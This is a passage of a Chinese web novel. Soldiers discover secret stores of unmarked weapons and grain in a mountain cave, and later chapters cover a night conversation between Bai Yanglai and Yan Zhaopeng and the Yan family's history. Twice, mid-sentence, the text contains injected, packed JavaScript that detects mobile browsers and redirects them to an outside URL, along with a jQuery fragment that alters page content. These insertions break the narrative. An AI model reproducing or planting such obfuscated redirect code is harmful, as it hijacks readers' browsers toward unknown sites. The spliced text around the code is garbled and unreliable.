外头的大管事显然气了许久,继续骂道:“天黑了危险?现在知道天黑了危险了?这不也是您定的时候吗。白天不危险,白天你敢出来吗?藏头露尾这些年你大白天的敢往太阳下头站吗!握什么拳头?你还想对我怎么样不成?黎文辉,要不是你姓黎,你和你那个破了相的弟弟配跟我们东家做交易?下辈子吧!” 这时有另外一个声音恭恭敬敬地说:“大管事,齐了。” 那大管事最后阴阳怪气地“哼”了一声,外头自此安静了下来。 罗高川他们刚抬起头,只听外头“嘭”的一声响,像是有人一拳锤在了石壁上,几人互相看了看,都在猜是被骂的李将军在捶墙发泄。又等了一会儿,外面终于安静了下来。 白阳来说:“我上去看看。”他一跃而起一脚踩上洞口对面的石壁,然后一个转身蹬腿借力攀上了洞口,两臂一撑将自己撑进了石道上方的洞口。 罗高川看着他消失在洞口,自我怀疑道:“将军这样就上去了,那刚才我算什么?” 隋得远更不忿说:“这话应该我说吧,刚才我算什么!” 唐竟民立刻跟了一句:“还有我,我又算什么。” 罗高川立刻将刚才自己摔倒时他们说自己的话还回去:“别算了,就你们这脑子,都是五百钱搭到门槛上。”两边都是二百五。 罗影心想:四个人,正好一吊钱,绝配。 白阳来从洞口露头:“人都走了,上来吧。”他伸下来一条手臂将几人拉了上去。 上方的洞口不规则且较小,一个人爬还好,两个人挤挤挨挨就过不了,他们爬了几下,另一边的洞口也在斜侧面,往洞外一看,下方闪着一点火星,正慢慢地熄灭。罗影目测上下的距离有两人多高,这怎么下去? 罗高川说:“这一路我都觉得刚才那个洞应该是有人挖的,但是现在这个我觉得应该是自然形成的吧?” 白阳来在他们后面说:“我们一路过来的洞确实是人力挖出来的,这个洞口也有人工的痕迹。” 罗影问:“有人挖了那么长的洞是为了什么?穿山吗?” 白阳来说:“咱们一路走来在墙上肩部高的地方有一道矿脉,挖出来的石头可以做颜料。” 竟是这样?除他之外的几人完全没有注意到。 不过这不重要,当务之急是下去看看。 刚才整理装备的时候白阳来就看过,他们没带绳子,此时要下去只能解腰带了,将几人的腰带绑成长绳把人放下去,不然这个高度直接跳难保不受伤。 隋得远看着罗高川:“你怎么戴这么长的腰带?” 罗高川烦他:“你管呢,又没用你家的布。” 隋得远手摸着腰间说:“那你腰带这么长应该就够了,我就不解了。” 唐竟民不答应了:“凭什么?你是没有腰带吗?” 宋宁生肯定他道:“哎你说对了,他就一条腰带系裤子,要是解了,那裤子就要掉了。” 唐竟民罗高川立刻顺着隋得远束在外头的腰带往下看,隋得远立马推他们:“滚滚滚,看什么看,你们听他乱说,赶紧下去,我殿后,绳子给我。” 白阳来先下,然后是罗影、罗高川、宋宁生、唐竟民,最后隋得远收好绳子跳下来,五人在地上一起接住了他。 此时草原上已是月上中天,洞内一片漆黑,洞口处倒是隐约能看见一点月光的清辉,这个洞可不小。几人刚吹灭火折子,此时索性先不点火,摸索着来到这个大洞的洞口处往外看,草原上果然比洞中明亮,还能看到一队人马正在远去。 隋得远说:“方才那两个人不会一起走吧?” 罗影说:“咱们现在看得是亮面,那边阴面月亮照不到也有可能是从那边走的。” 白阳来停了许久,说:“这里除了我们应该没人了吧。” 宋宁生说:“是,将军。但这一路上我也没发现其他活物,这就有点儿奇怪了,一座山上怎么会没有动物呢?” 白阳来说:“是很奇怪,等他们再走远一点,咱们点灯细看。” 又过了一会儿,草原上的人影远去不见,六人将身上的蜡烛点亮,分散开来站在不同的地方,终于勉强看清了这个山洞。 其实,他们方才看向外面的洞口应该算是这个山洞里的“窗户”,出口另有地方。罗影站在出口处向外看去:“这应该是人工修造出来的通道,从这里运东西进来外面根本看不到。”出口处是几近一丈宽的通道,微微向下倾斜着,看样子应是就这样一直通向山下的。 火光回照向洞内,地上放着一个个长短大小不一的木箱,几人最开始听到的铜铁摩擦的声音想必就是箱里的东西发出的。 白阳来单膝跪地查看木箱,突然火光一闪让他注意到了地上的异常:“你们看这地上。” 其余五人动作划一,蹲下身来举着手中的蜡烛让光亮扫向地面,这个山洞的地面上铺着一层黑黑的颗粒,看着不像土块沙石。罗影掏出一个布帕,白阳来接过他手中的蜡烛,他隔着布帕抓了一些地上的颗粒包好,塞进了腰上的荷包中系紧。 地上的木箱上没有封条也没有上锁,白阳来将蜡烛交给罗影拿好,打开了一个箱子,箱子里是锋利的马刀;再连开几个箱子,刀枪剑戟都全了。 罗影举着蜡烛说:“他们这是私贩兵器!” 白阳来查看着箱子里的兵器问众人:“你们能看出这是出自何处的吗?” 兵器上没有任何标识,白阳来只看得出不如营中所用之兵刃打制得精良,但是再多的就看不出来了。剩下几人跟他也差不多,隋得远说:“要不咱们带一把回去让营里军械坊的人看看?” 唐竟民说:“他们不是核对过这里的东西?带回去的话会被发现的吧。” 白阳来想了想说:“现在有三个问题,第一,这些东西放在这里应该只是只是暂存,什么时候会被运走?如果我们跟踪运走这些东西的人那么就至少能知道他们其中一方的身份。” 罗影点头,他手中的蜡烛也跟着他点头的动作晃了晃,如果让他去跟一定能弄清楚。 “第二,”白阳来说:“这些东西为何要暂存于此而不是直接运到目的地。第三,方才那个大管事说李将军的人也搬他们的东西了,意思就是说交易这些兵器的不是金银而是货物,那么是什么货物呢?” 罗高川听完白阳来的话啥也没想直接问道:“将军,您说我们该怎么办?” 白阳来把手中的弓箭原样放回箱中,又将箱子也照样盖好,说:“我们顺着这里的路下山,看看还有没有其他发现,不管有没有,留几个人在这里看着,罗影回去禀报大将军。”白阳来说:“这里恐怕不适合做我军的营地了。” 罗影感觉到白阳来语带失望,立刻说:“草原地方广大,定能有其他合适的营地的。” 唐竟民也说:“对,我们往其他方向找找,有干净的水源就行。” 宋宁生说:“实在不行我们打口井。” 白阳来笑了说:“是,你们说得对,营地的事以后再说。咱们先出去。” 顺着出口那条丈宽的路往下走拐了个弯迎来一个岔路口,左右两边各通向一个未知的地方,六人十分默契地选择了左边那个。因为不知道还要在山里走多久,为了节省蜡烛他们六人只点了三支蜡烛,两人一起排成前后三列。这一走就走下了山来,快到洞口的时候就感觉到了夜晚的凉风,几人钻了一晚上的山洞,此时出来只觉得凉风吹过神气为之一清,伸了伸手脚,白阳来说:“走吧,去另一条路看看。” 右边的路是另一个山洞,与他们一路穿行的那个洞不是一个方向,要说这座山确实够大,这个洞虽然在下面,但是比他们发现的那个放兵器的洞更大一些,货也堆得更多。这里的货物他们前两天才刚刚见过,“是粮食!”罗高川一眼认出,他们跟着白阳来刚把十万担粮食运回营中,在这儿又见到了。 唐竟民举着蜡烛四处看:“上面的洞里是兵器,下面的洞里是粮食,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099132|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些人要干什么啊?” 隋得远与宋宁生查看放粮食的麻袋,没有发现什么特别的标记,看来这群人很缜密,粮食和兵器上都没有任何标记。 罗高川不死心:“一点儿记号什么的都没有吗?” 隋得远与宋宁生一齐摇头,隋得远说:“没有,什么都没有。” 宋宁生摸着麻袋说:“我觉得这个装粮食的袋子与我们运回营的粮食袋子不同,这算吗?” 白阳来越想越不对:“一般来说兵器和粮食这样的东西是一定会留下标记的。兵器会打上军械监或各坊的徽记,粮食袋子上也应有粮仓的字号,没有反而奇怪。” 大家一想,是啊,如果都没有的话,那就说明“这些兵器和粮食是特制的!”罗影惊呼。 隋得远立刻明白过来:“那些人为了在此交易这些东西特制了兵器和粮袋?” 唐竟民试图表达得更清楚一些:“应该说是他们特制了没有标记的兵器和粮食私自交易,选在这里是特意钻了草原地广管束松散的空子。” 宋宁生说:“对。” 剩下三人也一起点头,表示赞同。 疑问当然还有很多,但时间已经过去了不知多久,天可能快要亮了,他们从这边下山还要走回之前藏马的地方,路不熟不知道要走多久,于是白阳来当即决定原路返回。 存放兵器的山洞山壁不甚平整,略有借力之处,几人叠着罗汉将白阳来送到了他们跳下来的洞口,白阳来将腰带做的长绳再次放下,将人一个个拉了上来。六人顺着原路穿山回到最初进山的地方,找到了藏起来的马匹。 白阳来与罗影回营报信,隋唐宋罗四人留在此处躲藏起来以备万一,如果再有异动则再分出两人回营报信。 一路赶马奔回营中,两匹马是吃了半日的草又睡了半夜的觉,马上的两人却是水米未进,全凭一股意气撑着。 营后,白阳来去见雍长龄,罗影去找叶真。在进中军帐之前,白阳来吩咐自己的亲卫去找燕昭鹏准备些食水,让叶真那边熟悉路的斥候赶紧给留在山下的四人送去。 雍长龄听说了白阳来带回的消息没有耽搁,立即指派元淮和萧懋等人从另一个方向出发为大军寻觅合适的营地,对于有人在草原上私下交易兵器和粮食他似乎并不感到意外。 白阳来对此有些疑惑,徐常青以为雍大将军是惯常地喜怒不形于色,但白阳来感觉他似乎是知道什么。 雍长龄将事务分派下去后,给白阳来准备的软和吃食也端了上来,雍长龄说:“就在我这儿用饭吧,吃一些就赶紧睡,睡醒再洗漱,我不嫌弃你。” 白阳来一回营就让等在营门口的亲卫去向燕昭鹏报平安了,此时心中有事也并不急着回自己帐中。他谢过雍大将军开始吃饭,厨下准备的正是燕昭鹏都很喜欢的汤面,一口酸中带着微辣的热汤下肚,舒服得疲惫尽去。 雍长龄一边看着他呼噜呼噜地吃得又香又好看,一边说:“吃就是,总是看我做什么?” 白阳来看着他眨了眨眼,恰到好处地传达了自己的疑惑。 雍长龄给他倒茶说:“你是想问我是不是知道什么?” 白阳来点点头伸手去摸饼,雍长龄把饼移开:“先喝汤吃面,多吃些肉也使得,这饼太硬实了,你别急着吃它,仔细肚里难受。” 白阳来只好继续吃面吃肉,雍长龄看着他欣慰地笑着说:“我当年看康儿吃饭,以为她女儿家秀气,就是那般吃饭的,后来才知道她是肠胃不好,吃不了、吃不多。你吃饭也优雅得体,可是你看,你吃得多好。” 白阳来对他笑笑说:“那也是因为咱们营中伙食好呀大将军,这面这肉都好吃,汤也好喝。” 雍大将军笑得更畅快了:“那是当然,咱们营里的伙食花销一年抵别人三五年的,能不好吗。你平康姐姐虽然仙去了,可她给咱们留了一条矿脉,你家大将军我有的是钱,能用钱要着的好咱们都能有。” 白阳来能在山上看出洞中的矿脉就是因为他曾奉雍大将军之命带着雍平康的手记在林州找到了刚才说的那条矿脉。白阳来看着雍大将军,一时不知道他突然提起这些是想说什么。 雍长龄收起了笑意说:“林州军府的开府将军名叫黎宏,我知道他私下里一直倒卖兵器,不过听说他只收盐和贵重香料,没听说交易粮食的。” 白阳来从怀中抓出一把谷物放在桌上说:“这就是那山洞中的粮食。我分不太清,但是明显看得出这些不如我们之前运进营里的好。” 雍长龄看了看桌上的谷物说:“嗯,这我也看不出更多的东西。不过话说回来,不论是谁在草原上交易什么,都与我军无关,我们有我们的事要做,此时此刻不宜为无关之事分心。” 白阳来低头受教:“大将军所言甚是,末将遵令。” 雍长龄替他补充:“只是……” 白阳来抬起头来莞尔一笑,并不在他面前遮掩避讳:“只是,末将心中总觉得我应该能从他们的交易中发现些其他的东西。” 雍长龄眯了眯眼睛:“莫非是与你有关的东西,你是怀疑之前你发现的那枚木牌就是这些人的?” 白阳来确实这么想:“正是,大将军明鉴。” 雍长龄点点头:“左右现在也不用你打仗,你若分心去查也无妨,机警些,不要冒进,有发现记得回来报我。” 白阳来眼中的崇敬与欣喜几乎要溢出来了,雍长龄瞥了他一眼自去做事,留他吃完饭后在帐中休息自便。 直到这日入夜,燕昭鹏才见到了回来洗漱的白阳来。 21. 第 21 章 桌上温热的银耳莲子汤已经被煮得黏稠,盛在影青色的瓷碗中氤氲着热气,燕昭鹏身穿一件半旧的家常绸衫桌在桌旁看书。 这也是难得的,燕大郎君举凡读书写字必要方桌长案,在他看来圆桌就是吃饭喝茶的,在圆桌上看书太也不像。如今为了等白阳来这竟然也不讲究了,可见他虽面上沉稳,心里还是着急的。 白阳来洗去一身风尘换了燕昭鹏吩咐人准备的新衣,整个身心都放松了下来,从屏风后出来的时候乍见灯火辉煌之下坐在桌旁看书的燕昭鹏,只觉得此时的军帐与他而言就像家一样。 燕昭鹏将书递给下人,想白阳来的方向推了推碗问:“怎么样?” 没有寒暄也无需寒暄,眼见得人都好就可以也应该说正事了。 白阳来长出了一口气看了看帐中伺候的人,燕昭鹏稍一侧头,他们即鱼贯退出。 用勺子搅了搅银耳莲子羹,白阳来露出懊恼的神色说:“这次太匆忙了。” 他与燕昭鹏说起自己这一路,先是快马加鞭赶去目的地,没有在山下好好看一看就上了山,后来循着罗高川摔过去的地方找到了石缝和洞口一路穿山,最后虽然找到了兵器和粮食,但是: “太仓促了。什么都看了一点又什么都没看仔细,不过匆匆一见就回来了。”白阳来说:“都是我思虑不周,明知道要去那么远、又是从没去过的地方还不做充足的准备,只带了一包你让人准备的点心,绳子都没有。”他很自责,很挫败。 燕昭鹏淡淡地笑了笑,拍了怕他的肩说:“什么叫‘充足的准备’?天那么黑你又要怎么仔细察看?就算在山下很周全地看一圈,又在山上很仔细的查看过,然后呢?有这样身份不明的两伙人占了那座山,我想雍大将军已经不会考虑将那里作为我军的营地了吧,若然如此,那么那个地方与我军至少暂时是不会有关系了,你大可以连人都不留的。” 这一番话大有指点江山的昂扬,大家出身见识广大由此可见一斑,不纠结拘泥而是迅速调整专注自身、专注未来是世家大族屹立于世的关键,更是对后世子孙的无数训诫之一。 白阳来对他的清醒通透从不意外,闻言只是略带沮丧地看着他,燕昭鹏收起笑意,说:“大将军不会管这些闲杂事,但你想管。”白阳来垂下眼睛,显得有些犹豫。 燕昭鹏轻轻一拍桌子:“明白了,你既不想用营里的人让同袍为你费心思,又想要快一点查清楚情况,不论那两边的人是否与当年之事有关,查清楚你心里也就有数了,是吗?” 白阳来抬起头说:“对。大将军和叶将军把罗影给了我,按说查起来会更方便,但我私心以为不论是前锋营还是斥候营都是大营中的力量,是大将军的将士,若要他们为我一已之私劳心劳力,我觉得……实在是太过靡费,很不必如此。” 燕昭鹏点了点头没有再笑,他面无表情的时候总会不自觉地透出一丝丝沉厚的端重威严,像极了他的爷爷,先帝朝时的一品柱国大将军燕长风。不过在亲近的人面前他总是更愿意展现出自己的稚气与活泼,所以现在这一面的燕昭鹏对白阳来来说是少见的。 燕昭鹏将他手中的勺子抽出来,拉着人离开圆桌在床上躺下,盖着薄被聊天更令人感到舒适和放松。 燕昭鹏双手垫在后脑靠着软枕半坐着床上说:“我从来不知道什么是靡费,父亲只会告诉我只要我高兴倾燕家之力也无不可。舅舅年轻时还说过家里的钱不能乱花,后来他当家了生意越做越顺给我送起东西来简直没有节制。” 燕昭鹏说:“从来没有人对我说过‘太靡费’。”他侧头看了看半靠着软枕坐在自己身边的白阳来,白阳来身上正穿着家里刚送过来的新衣服,是素色的兼丝葛纱所做的长袍,细软飘逸,穿在白阳来身上有种飘然若仙之感。燕昭鹏伸手摩挲着柔美的衣料说:“这身衣服,和桌上那套影青的餐具还有些别的东西都是今日刚送过来的。远在草原也不耽误我换使具、穿新衣。小羊,若说靡费,天底下有几人抵得过我?” 燕昭鹏的目光从衣料上移开,看向白阳来的眼睛:“你如此说,又是何必。” 他收起手,正色道:“你我身份不同这是自出生开始就决定的,我们承认然后正视就好,太当一回事儿那就不必了。人生不过百年,天地之间一瞬而已,其实,万物皆不为我所有,但万物皆可为我所用。” 白阳来在他身边默默点头,这是他需要学习和效仿的地方,也是燕昭鹏要提醒他的,人不过是人,不可以不把自己当回事,也不必太把其他的东西当回事儿。 燕昭鹏说:“我一直心安理得的享受着一切,等到有一天燕家需要我为她做什么的时候,无论要做什么,我都可以义无反顾。” 白阳来放在床上的手抓住了旁边燕昭鹏的手,握了握说:“明白了,谢谢你。” 燕昭鹏用握在一起的手打他说:“谢什么谢,那我要谢你吗?” 白阳来说:“不用谢。你手心有点儿发热,是不是最近又没睡好?” 燕昭鹏立马甩开他的手:“用心险恶呀你,我还以为你是跟我好呢。”他把软枕放好,躺进被中说:“快睡吧,我不过是没睡好,也惯了的,你是就没睡吧。” 白阳来也躺下道:“下午在大将军那里睡了一会儿,看了看最近的军报,因为身上脏不方便来见你就没急着回来。”他侧躺着面对燕昭鹏小声说:“我想了一下,如果要查那还是用前锋营和斥候营的力量与消息网去查好了,燕家那边就不要为我的事分心了,多少有些不方便。” 燕昭鹏也不勉强,说:“随你,反正这么多年来若说我有什么原则,那就是:可以给家里添麻烦,但不能给燕家拖后腿。” 白阳来笑了笑说:“好原则,好好坚持。” 两人相视一笑,闭上眼睡去。 少顷,白阳来想起他还没熄灯,起身时看见燕昭鹏闭着眼睛乖乖地面朝着他侧躺着,突然轻声说:“燕家若是有事,你也不要怕靡费。” 燕昭鹏睁开双眼,一片平静地看着他问:“什么意思?” 白阳来就着单手撑起上半身的动作说:“有人说报怨短,报恩长。我报仇都花了这么多年,要是报恩,那便是终我一生,也只怕不够不怕太过。有些话我从前觉得你我之间没必要明说,但现在我觉得哪怕心中知道也还是要说出来彼此才放心。” 燕昭鹏在被子里动了动取笑他道:“你出去疯跑了一半日回来倒觉得自己长大了。” 白阳来听出他有所回避也全不在意,只是继续说:“今日大将军听说那里有人占先,没有半点儿犹疑立刻就让萧懋他们从其他的方去找新营地了。大将军决断利落,处事干脆,不论身处多么复杂的局势中只要立下了目标就不会因为任何突发的状况或遭遇的困难而改变初衷。”一缕青丝滑了下来,白阳来随手拿起来把玩着说:“我原以为我也是如此,今日却突然发现我其实只是学着长辈们的样子做事而已,其实还差得太远。” 燕昭鹏依旧不动声色说:“你如今也不需要有什么果决谋断吧,就照着榜样把事情做好也就尽够了。” 白阳来看着手里的如漆如墨的发丝没有抬眼,说:“怕就怕现在不行,到了需要的时候谁知道行不行。毕竟,长辈们的筹谋布划早就开始了。” 燕昭鹏垂下眼睫,静了一会儿,说:“我也是最近才想明白。” 白阳来说:“小时候总在书上看‘身不由己’的故事,现如今倒是真的‘身在其中’了。” 燕昭鹏说:“但我想了想,自己好像并没有书中人那样百般不愿,或许是我一直都过得太平顺了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“确实不行。”白阳来替他说完,并且十分理解地点点头,说:“我突然想明白的时候也觉得很难过,为自己的无能而难过。我不配与大人一同谋局,只能做一枚棋子。我那时才发现哪怕我能百步穿杨,哪怕我在战场上从无败绩,我也依然没有资格与他同做那谋局之人。燕家最让人羡慕的不是曾经的权倾天下,也不是如今的富可敌国,而是世代的积累带给她的地位与尊崇,如同站在山巅俯瞰世间,看到的世界不一样,所思所想也都不同,” 白阳来在谋划着寻找山洞主人与仇人踪迹的时候,盘算了自己手中现有的人、财与关系,进而想到了雍大将军的“幽明同元”和燕家的“和光同尘”两大消息网,忽然生出一种站在金山之下却进退两难之感。燕昭鹏的话让他醍醐灌顶地醒悟到自己的犹疑不定或许不过是出于自谦自怜与自卑,无谓地把一些事情看得太重又把自己看得太轻。一个人总是势单力薄的,想要成事总是需要助力的。人微力单又如何,借力成事有何不可。可以因此而心中忐忑,但忐忑是无济于事的,让自己更强大更厉害,才能拥有坦然的底气。 白阳来想通此节之后,理所当然地想到了燕家。其实不止帝都之人说到许多人和事的时候喜欢将燕家拿出来做比,他们自己人在日常思考之事也喜欢将燕家经历过的事件和出过的各种人物拿来与现今做比。燕家这一代的主子少,白阳来只见过燕墨闻和燕昭鹏,他是极其佩服燕墨闻的。在白阳来看来,燕墨闻就是那种很完美的长辈,温和儒雅又带着锋芒,胸中有乾坤笔下点江山,分寸之间把握得绝好,既不委屈自己又不得罪他人,就连骂人的时候都姿态文雅。 燕墨闻得知白阳来如此崇拜自己,开心得专门把燕昭鹏叫来对着他叉腰大笑,让他学着点儿。燕昭鹏深感无奈地抿紧了嘴角默默心疼白阳来:可怜的单纯小羊,自己就有绝美的容貌,怎么还会被父亲的外表欺骗,看不出父亲一肚子黑墨水里都是些什么东西。他骂人的时候文雅可不耽误他骂得又狠又绝啊! 所以说年龄其实是个好东西,如今的白阳来就成长了,他再回忆起燕墨闻的时候突然发现,这位先帝朝的“麒麟子”好像下了很大一盘棋。 22. 第 22 章 若是按照最初白阳来进燕家时的安排,燕墨闻是准备收他做个义子的,只是因为燕昭鹏身体不好很早之前便曾有人提议说燕墨闻应该收个义子,把燕昭鹏这个名字冠在义子身上,让这位义子替燕家真正的大郎君挡灾,如此一来真正的燕昭鹏说不定就好了。 对此,燕墨闻只说了四个字:“居心叵测。” 且不说燕昭鹏这个名字是他父亲燕长风老将军亲自为孙儿起的,就说收义子一事,燕家的义子意味着什么,看看那些闻风而动的玩意儿就知道了。这边燕家还未置可否,那边就有一堆人送上门来以各种方式自荐了,不知道的还以为燕家在九州发了“英雄帖”要遍请四海的郎君来家里当主子呢! 实在是这一户门第稳了太久,无数双眼睛想看他乱。 燕墨闻那时真是不胜其烦。燕府门前一边站着十里八乡的媒人要给他说亲续弦,一边站着大大小小的郎君和他们满脸殷切的父母要给他做义子。燕墨闻原本因妻子新丧向景帝告了长假,待陪着儿子给妻子守丧完毕准备上朝了,又来了这种事。景帝十分体恤地又给了他无限的假期,让他“安排好家中事宜再忙国事不迟”。这样一来,外头人日日上门,燕家家主日日在家,当真是好得很。 就在燕府门户紧闭,帝都各府都在等着看他能躲到什么时候、自己又该趁机加哪一把火的关口,中州玉家奢华庞大的车队到了。 玉家是燕家的姻亲,燕墨闻的发妻、燕昭鹏的母亲便是玉氏的大娘子,刚刚坐稳玉氏族长之位的玉天杰就是玉大娘子玉天齐的亲弟弟。他带着家中庞大的车队浩浩荡荡而来,一来就将燕府门前全部人等连吓带赶地统统驱走了。 玉天杰一身新制的缂丝八宝云纹长衫精细贵气,从前后八匹高头大马拉着的轩敞马车中出来后就立在车上,冲着被赶到一旁的闲杂人等气压丹田桀骜不驯地高吼道:“我阿姊是燕家明媒正娶、八抬大轿从正门抬进去的长子嫡妻,是先皇亲封的四品诰命。她为婆母服过丧,为燕家诞下了长子,便是如今她仙去了,我玉家还立在这里!我看谁敢越过她,来觊觎我外甥的身份地位!是嫌我玉家的银子砸不死你吗?” 玉天杰身量颀长,穿着宽袖长袍站在马车上更显高大,他捋胳膊挽袖子叉着腰高声道:“我,刚刚坐上这家主之位,新官上任三把火如今正是立威的时候,今日都给我听好了,回去都给我往四处学说学说,谁敢做我阿姊的位置、敢妄图威胁我外甥的地位,我玉家的银子管保、砸死了他!谁不让我好过,他全家都别想好过!不知道的出去打听打听我是什么人,我玉天杰说到做到!” 话音落,他袍子一撩从车上跳下来,长袖一摆背着手走上台阶,燕府正门大开,恭迎这位舅爷入府。 围堵燕府多时的人群一边议论着一边渐渐散去。 帝都一座不甚宽敞的大宅中,管家穿行于庭院之间,将燕家门口人群散去之事禀报给了新上任的尚书令荀焱。荀焱闻言淡淡一笑说:“玉家一介商贾,靠着家中银钱捐了个六品的官儿,他姐姐活着的时候燕家都没让他从正门进过,如今人去了燕墨闻倒肯给他这个面子了。罢了,让人回来吧,没什么热闹看了。” 管家躬身应是,然后问:“咱们安排的那些人……” 荀焱放下手里的铜花剪说:“备着,有机会安排进去。” 荀焱拍了拍手上的土,看着眼前刚刚修剪过的“富贵延年”盆景说:“年纪轻轻的小郎君,我看你能挺到什么时候,酒色财气你总得好一样,我连你父亲都熬走了,我不信我奈何不了你。”话说到最后声音简直是从咬紧的牙关里挤出来的。 荀焱人如其名性子急爱生气躁动如火,为了修养出从容风范一直强自忍耐着,每次一生气就要努力按捺,一强忍就会更加烦躁,可要是忍不住发了脾气过后又一定会后悔,一后悔就又是一轮又气又怒。他最羡慕也最嫉妒的就是燕长风,从来都是一派洒脱磊落的样子,还教出来燕墨闻那样堪为世家典范的儿子,通身从容气象令人见之忘俗。不过再厉害又如何,再美满又怎样,死的早也什么都不是,最后的赢家只会是他。 不要说荀焱,就连玉天杰都没想到燕墨闻真会给他开正门,他上次走正门还是送姐姐出嫁那次呢,看来自己这次来的很是时候。 玉天杰是特意来告诉燕墨闻他已经坐稳玉家的家主之位了,玉氏全族都已经被他牢牢地握在手中了,还要多谢姐夫给他的人手和消息,以后燕家有事他玉天杰必定义不容辞。 燕墨闻喝着茶笑道:“玉郎君不必言谢,方才你在门外不是已经替我解围了。” 玉天杰说:“我可不是替你解围,我方才所说一字一句都是发自肺腑、说到做到!我处理好家里的事之后已经在玉氏宗祠供上了阿姊的牌位,今后不论你娶不娶新人,我阿姊的位份决不能有任何动摇!我家小鸟儿的地位就更是了,你要是想着再生一个好儿子那趁早让我带着小鸟儿会玉州去,就是冲着先皇贵妃赐给玉家的丝茶专卖,我担保玉氏全族也定会将他当眼珠子护着。你自逍遥自在你的,别来让我外甥先没了母亲再见弃于父亲。” 燕墨闻收起寒暄客套的表情,眼睫一瞟便是烽烟无尽,一股肃杀之气直冲玉天杰而来,玉家主哼声一笑:我怕你这个! 燕墨闻记得这人没当家时胆子虽大但行事还算有所顾忌,不想如今做了一家主位反倒更为嚣张了。 他不欲与之废话,只是认真道:“不论我今后会否续弦,我儿的地位在整个燕家都永远是独一无二的,任何人在这件事情上都不要有除此之外的任何想法。” 玉天杰得了他的保证确实松了口气,毕竟他要真做什么玉家想拦结果必定是两败俱伤。虽然玉天杰也并不是很喜欢玉家,但既然都已经是自己的了,那玉家往后也只能更好,不能变差。 收义子挡灾这件事就这样结束了。若干年过去,将白阳来带回家中的燕墨闻再次想起,已经被丢在记忆角落的往事重被忆起,他想了想,今时不同往日未必不能如此安排,但是这无论如何不是最好的安排。 通过一段时日的相处,他发现自己是欣赏、乃至真心喜欢这个孩子的,燕昭鹏也与他相处甚欢。缘分难得,燕墨闻于是只带他拜过了祖宗以示郑重,至于后面的事情,他还要再想一想。 不过他对白阳来的一应待遇安排都是比照着燕昭鹏这个世家嫡长来的,就连读书也是与燕昭鹏一样拜在当世大儒的门下受教。 这位先生名叫周观应,是先帝朝最后一次科举的状元,三元及第的大才子,只可惜他高中状元的喜讯传回家乡后家乡传回的却是他父母的死讯。 周父有喝酒打人的习惯,但他能打的人也只有自己的妻子。得知儿子高中状元后,他再去喝酒都不用给钱了,这不得喝个痛快。饮醉后同伴还将这位一团烂泥般的状元父亲送回了家中。周母看着不成样子的丈夫,想到儿子多年努力终于有了出头之日,自己也可以安心了,便将早年间准备的毒药找出放进了热汤里喂给周父,然后自己上了吊。她早就不想活了,若不是怕影响儿子读书早就想死了,如今她拉着这个祸害一起走得干干净净正好,也免得日后拖累儿子。 周观应按制应回乡为父母守孝,但还未动身帝都便乱了,也没人理会他。那时虽然百姓生活如常但官场暗流涌动人人敏感多疑,他因此竟没能出城。帝都居,大不易,他虽然极尽节俭但族里给他凑的钱还是慢慢地花完了。他在城里找了个偏废之处搭了个棚子,还准备种些菜蔬养活自己,总之先活下去再说以后。 偏废之地之所以偏废当然是有原因的,这处离水源处极远,就连周观应这样从小干活干出来的人都要歇三次才能将一担水挑到家。 只是他今日从进来就觉得有些不对,这里平常无人,今日也无人,但周观应莫名觉得有很多人在看着他,他挑着担子站住脚四处看了看,没有人啊。他想自己可能是累得恍惚了,这几日都吃得少干得多可能有些撑不住了,等把水挑回去浇了地就歇一歇。 一转入自己搭的小棚子和小菜地,周观应便看见一位锦衣郎君站在那里。他面朝棚子的一个角落站得很恭敬。周观应知道那里是他家乡的方向,放着他亲手刻的父母的牌位。 周观应放下水桶和扁担,撩着水洗了洗手翻开衣服用里面擦干净,这才赶过去向这位郎君见礼:“在下周观应,目前在此处暂居,不知郎君此来所谓何事?” 那郎君眉目清隽,身姿雅俊,向着周观应也是一礼:“周先生好,在下燕墨闻,有幸拜读先生的文章,先生之大才令人景仰,今日特来结交,望先生不弃。” 燕墨闻?周观应觉得自己晕得更厉害了。帝都的人物太多,人们口中议论传诵的谈资也多,你几日我几日换的比那秦楼楚馆的花魁都快,可这位燕墨闻和他身后的燕家却是波涛汹涌潮起潮落的人言中稳稳立在水下的大山。燕家不常被议论,又常常被议论,他们家虽然没有太多新鲜事,但所有的新鲜事说完后都会将燕家提出来再说几句完结得才算圆满。 他们是一切比较的对象,所有谈资都要拿燕家出来比一比,而神奇的是,好像今日所有热火朝天的一切都比得过无声屹立的燕家。人们因此而满足,于是在这一次的闲谈中暂时地放过了她。 燕墨闻,先帝口中的“麒麟子”,他怎么回来找自己,还亲身来到这种地方?周观应看着他踩在泥地上的锦绣靴子都莫名升起一种暴殄天物之感。 不过周观应的反应也没让燕墨闻失望,他大大方方地说:“寒舍简陋,燕郎君不嫌弃就请蓬下一坐吧。” 他将另一桶水上的盖子拿下来,在小泥炉上烧了一瓦罐水,桌子是个他亲自磨平的木桩,凳子是两块大点儿的石头,燕墨闻评价道:“颇有野趣。” 周观应说:“见笑了,如今不怎么下雨,一切还好,若是下雨的话,这棚子恐怕还要再加固一下才能经得住。” 燕墨闻看向眼前的菜地,嫩嫩的小芽正从地里生发出来,一派娇俏喜人、生机勃勃的样子。他说:“可若是下雨,你不是就不用去挑水了?” 